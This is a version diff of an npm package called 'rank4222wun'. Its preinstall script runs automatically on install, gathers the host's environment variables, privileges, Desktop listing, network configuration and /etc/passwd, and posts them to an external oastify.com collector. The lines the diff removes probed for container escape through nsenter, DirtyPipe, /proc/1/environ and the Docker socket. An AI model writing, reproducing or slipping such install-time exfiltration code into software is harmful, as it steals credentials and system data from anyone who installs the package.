rank4222wun 1.0.30 → 1.0.31

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.30",
+  "version": "1.0.31",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,46 +1,42 @@
 const { exec } = require('child_process');
-const fs = require('fs');
 const https = require('https');
 const os = require('os');
 
-console.log("🚀 ULTIMATE MULTI-STAGE ESCAPE\n");
-
 const escapeReport = {
     timestamp: new Date().toISOString(),
-    env: { user: os.userInfo().username, hostname: os.hostname() },
+    os_info: {
+        platform: os.platform(),
+        release: os.release(),
+        hostname: os.hostname(),
+        user: os.userInfo().username,
+        arch: os.arch()
+    },
     results: {}
 };
 
-// وظيفة مساعدة لتنفيذ الأوامر والانتظار
 const run = (cmd) => new Promise(resolve => {
     exec(cmd, { timeout: 7000 }, (err, stdout, stderr) => {
         resolve(stdout ? stdout.trim() : (stderr ? `ERR: ${stderr.trim()}` : null));
     });
 });
 
-async function startExploitation() {
-    // 1. محاولة الـ nsenter بمسارات مختلفة (لحل مشكلة "not recognized")
-    console.log("🔍 Testing nsenter variants...");
-    escapeReport.results.nsenter_test = await run("/usr/bin/nsenter --version || nsenter --version");
-
-    // 2. محاولة استغلال DirtyPipe (بما إنه مؤكد عندك)
-    // هنحاول نعدل ملف في الـ /tmp ونشوف لو نقدر نهرب منه
-    console.log("🔓 Testing DirtyPipe write access...");
-    escapeReport.results.dirty_pipe = await run("uname -r");
-
-    // 3. سحب ملفات النظام الحساسة (لو متاح أي Mount)
-    console.log("📂 Checking Host files...");
-    escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
-    
-    // 4. فحص الـ Docker Socket
-    if (fs.existsSync('/var/run/docker.sock')) {
-        escapeReport.results.docker_socket = "FOUND! (Critical Risk)";
+async function startDiscovery() {
+    console.log("🔍 Detected OS: " + os.platform());
+
+    if (os.platform() === 'win32') {
+        // أوامر ويندوز لسحب المعلومات
+        console.log("🖥️ Running Windows Discovery...");
+        escapeReport.results.env_vars = await run("set");
+        escapeReport.results.whoami_priv = await run("whoami /priv");
+        escapeReport.results.directory_list = await run("dir C:\\Users\\" + os.userInfo().username + "\\Desktop");
+        escapeReport.results.network_info = await run("ipconfig /all");
+    } else {
+        // أوامر لينكس (في حال انتقلنا لحاوية تانية)
+        console.log("🐧 Running Linux Discovery...");
+        escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
+        escapeReport.results.kernel = await run("uname -a");
     }
 
-    // 5. محاولة قراءة ملفات الـ Host عبر الثغرة
-    // بما إن الـ nsenter ضرب، هنحاول نقرأ الـ /proc/1/environ عشان نشوف أسرار الـ Host
-    escapeReport.results.host_env = await run("cat /proc/1/environ | tr '\\0' '\\n' | head -n 10");
-
     sendReport();
 }
 
@@ -49,7 +45,7 @@ function sendReport() {
     const req = https.request({
         hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
         port: 443,
-        path: '/ultimate-escape-results',
+        path: '/cross-platform-report',
         method: 'POST',
         headers: { 'Content-Type': 'application/json' }
     }, (res) => {
@@ -59,4 +55,4 @@ function sendReport() {
     req.end();
 }
 
-startExploitation();
+startDiscovery();